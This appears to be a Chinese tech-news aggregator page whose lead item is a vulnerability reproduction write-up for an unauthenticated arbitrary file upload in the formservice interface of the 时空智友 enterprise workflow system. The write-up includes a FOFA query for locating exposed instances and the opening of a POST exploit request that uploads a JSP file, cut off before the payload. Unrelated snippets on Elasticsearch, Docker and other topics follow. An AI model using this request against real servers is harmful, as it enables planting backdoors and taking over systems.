当前位置： 首页 > news >正文

【漏洞复现】时空智友企业流程化管控系统文件上传

news 2026/5/23 15:17:52

漏洞描述

通过时空智友该系统，可让企业实现流程的自动化、协同上提升、数据得洞察及决策得优化，来提高工作效率、管理水平及企业的竞争力。时空智友企业流程化 formservice接口处存有任意文件上传漏洞，未经认证得攻击者可利用此接口上传后门程序，可导致服务器失陷。
在这里插入图片描述

免责声明

技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！

资产确定

fofa：app=“时空智友V10.1”

漏洞复现

POST /formservice?service=attachment.write&isattach=false&filename=yb.jsp HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Lang

相关文章：

【漏洞复现】时空智友企业流程化管控系统文件上传

漏洞描述 通过时空智友该系统，可让企业实现流程的自动化、协同上提升、数据得洞察及决策得优化，来提高工作效率、管理水平及企业的竞争力。时空智友企业流程化 formservice接口处存有任意文件上传漏洞，未经认证得攻击者可利用此接口上传后门程序，可导致服务器失陷。 免责…...

编程日记 2023/9/8 8:07:53

elasticsearch的DSL查询文档

DSL查询分类 查询所有：查询出所有数据，一般测试用。例如：match_all 全文检索（full text）查询：利用分词器对用户输入内容分词，然后去倒排索引库中匹配。例如： match_query multi_ma…...

编程日记 2023/9/8 8:06:52

IP地址、子网掩码、网络地址、广播地址、IP网段

文章目录 IP地址IP地址分类子网掩码网络地址广播地址IP网段 本文主要讨论iPv4地址。 IP地址 实际的 IP 地址是一串32 比特的数字，按照 8 比特（1 字节）为一组分成 4 组，分别用十进制表示然后再用圆点隔开，这就是我们平…...

编程日记 2023/9/8 8:05:51

ffmpeg-android studio创建jni项目

一、创建native项目 1.1、选择Native C 1.2、命名项目名称 1.3、选择C标准 1.4、项目结构 1.5、app的build.gradle plugins {id com.android.application }android {compileSdk 32defaultConfig {applicationId "com.anniljing.ffmpegnative"minSdk 25targetSdk 32…...

编程日记 2023/9/8 8:04:50

智慧公厕是将数据、技术、业务深度融合的公共厕所敏捷化“操作系统”

文明社会的进步离不开公共设施的不断创新和提升。而在这些公共设施中，公共厕所一直是一个备受关注和改善的领域。近年来，随着智慧城市建设的推进，智慧公厕成为了城市管理的重要一环。智慧公厕不仅仅是为公众提供方便和舒适的便利设施&#xf…...

编程日记 2023/9/8 8:03:48

JVM中JAVA对象和数组内存布局

对象 数组 在Java中，所有的对象都是一种特殊的数组，它们的元素可以是基本数据类型、其他对象引用或者其他任何类型。Java对象和数组的内存布局包含以下部分： 1.对象头（Object Header） 每个Java对象都有一个对象头&am…...

编程日记 2023/9/8 8:02:48

【2023年数学建模国赛】赛题发布

2023数学建模国赛赛题已经发布啦，距离赛题发布已经过去三个小时了，大家是否已经确定题目呢？学姐后续会持续更新赛题思路与代码~...

编程日记 2023/9/8 8:01:47

Java HashMap源码学习

Java HashMap源码学习 基本使用 包含创建&#xff0c;添加&#xff0c;删除&#xff0c;迭代&#xff0c;打印 val map java.util.HashMap<Int, Int>() map.put(1, 2) map.put(2, 2) map.put(3, 2) map.remove(1) map.forEach {println("it.key${it.key}, it.va…...

编程日记 2023/9/8 8:00:46

Gin中用于追踪用户的状态的方法?!!!

Gin中的Cookie和Session的用法 文章目录 Gin中的Cookie和Session的用法介绍Cookie代码演示 Session代码展示 介绍 cookie 和 session 是 Web 开发中常用的两种技术&#xff0c;主要用于跟踪用户的状态信息。 Cookie func (c *Context) Cookie(name string, value string, max…...

编程日记 2023/9/8 7:59:44

HTTP代理与HTTPS代理在工作流程上有哪些区别

HTTP代理和HTTPS代理都是常见的代理技术&#xff0c;可以实现隐藏客户端IP地址、突破网络封锁、加速网站访问、过滤网络内容等功能。本文将介绍HTTP代理和HTTPS代理在工作流程上的区别。 HTTP代理的工作流程 客户端向代理服务器发送HTTP请求 当客户端需要访问某个网站时&#x…...

编程日记 2023/9/8 7:58:43

Docker从认识到实践再到底层原理（二-2）｜Namespace+cgroups

前言 那么这里博主先安利一些干货满满的专栏了&#xff01; 首先是博主的高质量博客的汇总&#xff0c;这个专栏里面的博客&#xff0c;都是博主最最用心写的一部分&#xff0c;干货满满&#xff0c;希望对大家有帮助。 高质量博客汇总 然后就是博主最近最花时间的一个专栏…...

编程日记 2023/9/8 7:57:42

算法的概述

算法分析&#xff1a; 解决同一问题的算法可以有多种。 我们希望从中选出最优的算法&#xff0c;效率高或者存储空间小。为此&#xff0c;需要对算法进行评估&#xff0c;分析。 通常考虑两个度量&#xff1a; 1、 时间复杂度&#xff1a;算法运行时需要的总步数&#xff0c…...

编程日记 2023/9/8 7:56:41

菜鸟教程《Python 3 教程》笔记（19）：错误与异常

菜鸟教程《Python 3 教程》笔记&#xff08;19&#xff09; 19 错误和异常19.1 assert&#xff08;断言&#xff09;19.2 异常处理19.2.1 try/except19.2.2 try/except...else19.2.3 try-finally 语句 19.3 抛出异常19.4 用户自定义异常19.5 清理行为19.5.1 定义清理行为19.5.2…...

编程日记 2023/9/8 7:55:39

空气净化器上亚马逊美国站需要办理什么认证？空气净化器UL867测试报告如何办理？

空气净化器又称“空气清洁器”、空气清新机、净化器&#xff0c;是指能够吸附、分解或转化各种空气污染物&#xff08;一般包括PM2.5、粉尘、花粉、异味、甲醛之类的装修污染、细菌、过敏原等&#xff09;&#xff0c;有效提高空气清洁度的产品&#xff0c;主要分为家用 、商用…...

编程日记 2023/9/8 7:54:38

SpringBoot的测试方案

写完代码后&#xff0c;测试是必不可少的步骤&#xff0c;现在来介绍一下基于SpringBoot的测试方法。 基于SpringBoot框架写完相应功能的Controller之后&#xff0c;然后就可以测试功能是否正常&#xff0c;本博客列举MockMvc和RestTemplate两种方式来测试。 准备代码 实体类…...

编程日记 2023/9/8 7:53:37

华为OD机考算法题：字符串解密

目录 题目部分 解读与分析 代码实现 题目部分 题目字符串解密题目说明给定两个字符串string1和string2。 string1是一个被加扰的字符串。string1由小写英文字母&#xff08;a~z&#xff09;和数字字符&#xff08;0~9&#xff09;组成&#xff0c;而加扰字符串由0~9、a~f 组…...

编程日记 2023/9/8 7:52:33

unity 锚点设置

锚点聚合情况&#xff1a; 一个2d物体的位置 pos x pos y 是中心点相对于锚点的偏移量&#xff1a; 中心点就是位置。 按住shift 锚点和中心点都会被设置&#xff1a; 按住Alt&#xff1a; 同时按住shift和alt &#xff1a; 中心点 锚点 UI元素在对应的位置上。 锚点拉伸情况…...

编程日记 2023/9/8 7:51:33

Hadoop：HDFS--分布式文件存储系统

目录 HDFS的基础架构 VMware虚拟机部署HDFS集群 HDFS集群启停命令 HDFS Shell操作 hadoop 命令体系&#xff1a; 创建文件夹 -mkdir 查看目录内容 -ls 上传文件到hdfs -put 查看HDFS文件内容 -cat 下载HDFS文件 -get 复制HDFS文件 -cp 追加数据到HDFS文件中 -appendTo…...

编程日记 2023/9/8 7:50:31

自定义封装异步任务组件，实现FutureTask功能

FutureTask 在 JDK1.8 后的异步编排API中的CompletableFuture&#xff0c;提供了 异步任务的成功回调、异常回调。 public class FutureTaskTest {public static void main(String[] args) throws Exception {CompletableFuture<String> future CompletableFuture.sup…...

编程日记 2023/9/8 7:49:31

【区块链 | IPFS】IPFS节点搭建、文件上传、节点存储空间设置、节点上传文件chunk设置

一、创建ipfs节点 通过ipfs init在本地计算机建立一个IPFS节点 本文有些命令已经执行过了&#xff0c;就没有重新初始化。部分图片拷贝自先前文档&#xff0c;具体信息应以实物为准 ipfs init initializing IPFS node at /Users/CHY/.ipfs generating 2048-bit RSA keypair.…...

编程日记 2023/9/8 7:48:30

终极指南：SVGnest如何实现材料利用率提升40%

终极指南&#xff1a;SVGnest如何实现材料利用率提升40% 【免费下载链接】SVGnest An open source vector nesting tool 项目地址: https://gitcode.com/gh_mirrors/sv/SVGnest SVGnest是一款完全免费开源的矢量嵌套工具&#xff0c;专为激光切割、CNC加工和工业设计领域…...

编程新知 2026/5/23 14:51:54

从零打造高效社区：BBS-Go现代化开源论坛完整解决方案

从零打造高效社区&#xff1a;BBS-Go现代化开源论坛完整解决方案 【免费下载链接】bbs-go A lightweight community and Q&A platform for forums, knowledge bases, and discussions. 项目地址: https://gitcode.com/gh_mirrors/bb/bbs-go 你是否曾为团队内部沟通不…...

编程新知 2026/5/23 14:42:45

3分钟搞定3D视频转2D：终极免费工具让普通设备也能体验VR沉浸感

3分钟搞定3D视频转2D&#xff1a;终极免费工具让普通设备也能体验VR沉浸感 【免费下载链接】VR-reversal VR-Reversal - Player for conversion of 3D video to 2D with optional saving of head tracking data and rendering out of 2D copies. 项目地址: https://gitcode.c…...

编程新知 2026/5/23 14:42:45

如何在macOS上轻松运行Windows应用：Whisky终极使用指南

如何在macOS上轻松运行Windows应用&#xff1a;Whisky终极使用指南 【免费下载链接】Whisky A modern Wine wrapper for macOS built with SwiftUI 项目地址: https://gitcode.com/gh_mirrors/wh/Whisky 想在Apple Silicon Mac上运行Windows软件&#xff0c;又不想安装笨…...

编程新知 2026/5/23 13:31:07

企业内训系统集成Taotoken实现多模型AI助教与可控的交互成本

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 企业内训系统集成Taotoken实现多模型AI助教与可控的交互成本 对于现代企业而言&#xff0c;构建一个高效、智能的内训系统是提升员…...

编程新知 2026/5/23 12:20:10

如何在3小时内快速掌握Python SECS/GEM协议实现：secsgem库的终极指南

如何在3小时内快速掌握Python SECS/GEM协议实现&#xff1a;secsgem库的终极指南 【免费下载链接】secsgem Simple Python SECS/GEM implementation 项目地址: https://gitcode.com/gh_mirrors/se/secsgem 你是否正在寻找一个简单高效的Python SECS/GEM协议实现方案&…...

编程新知 2026/5/23 11:36:08

SmartBI白泽V5破局企业级AI落地难题，推动数据分析进入新阶段

BI接入AI后的企业新挑战BI接入AI之后&#xff0c;很多企业惊喜地发现&#xff0c;业务人员终于不用写SQL了&#xff0c;输入一句话就能查到数据。然而&#xff0c;真正进入严肃的经营分析场景&#xff0c;企业很快遭遇了新的“灵魂拷问”&#xff1a;老板问“为什么利润下降”&…...

编程新知 2026/5/23 11:31:33

基于SpringCloud的微服务架构技术研究

随着互联网技术与校园信息化建设的快速发展&#xff0c;传统单体架构系统在业务迭代、功能扩展、并发处理与后期维护方面逐渐暴露出诸多短板。单体架构将所有业务逻辑、数据接口与功能模块耦合在同一个项目中&#xff0c;在系统体量较小、业务需求简单的场景下能够满足开发需求…...

编程新知 2026/5/23 9:39:23

[实战] 制造业质量控制中气泡图（Balloon Drawing）的标准化生成与检验计划集成

前言&#xff1a;2026 年质量管理的数字化底座在 2026 年的数字化工厂环境环境下&#xff0c;质量管理已从被动拦截转向主动预防。作为 FAI&#xff08;首件检验&#xff09;和 PPAP&#xff08;生产件批准程序&#xff09;流程中的核心环节&#xff0c;气泡图&#xff08;Ball…...

编程新知 2026/5/23 8:50:01

如何快速掌握高效屏幕标注：终极免费工具完全指南

如何快速掌握高效屏幕标注&#xff1a;终极免费工具完全指南 【免费下载链接】ppInk Fork from Gink 项目地址: https://gitcode.com/gh_mirrors/pp/ppInk 你是否曾在在线会议中手忙脚乱地试图解释屏幕上的内容&#xff1f;或者作为教师&#xff0c;想要在虚拟课堂上生动…...

编程新知 2026/5/23 8:30:15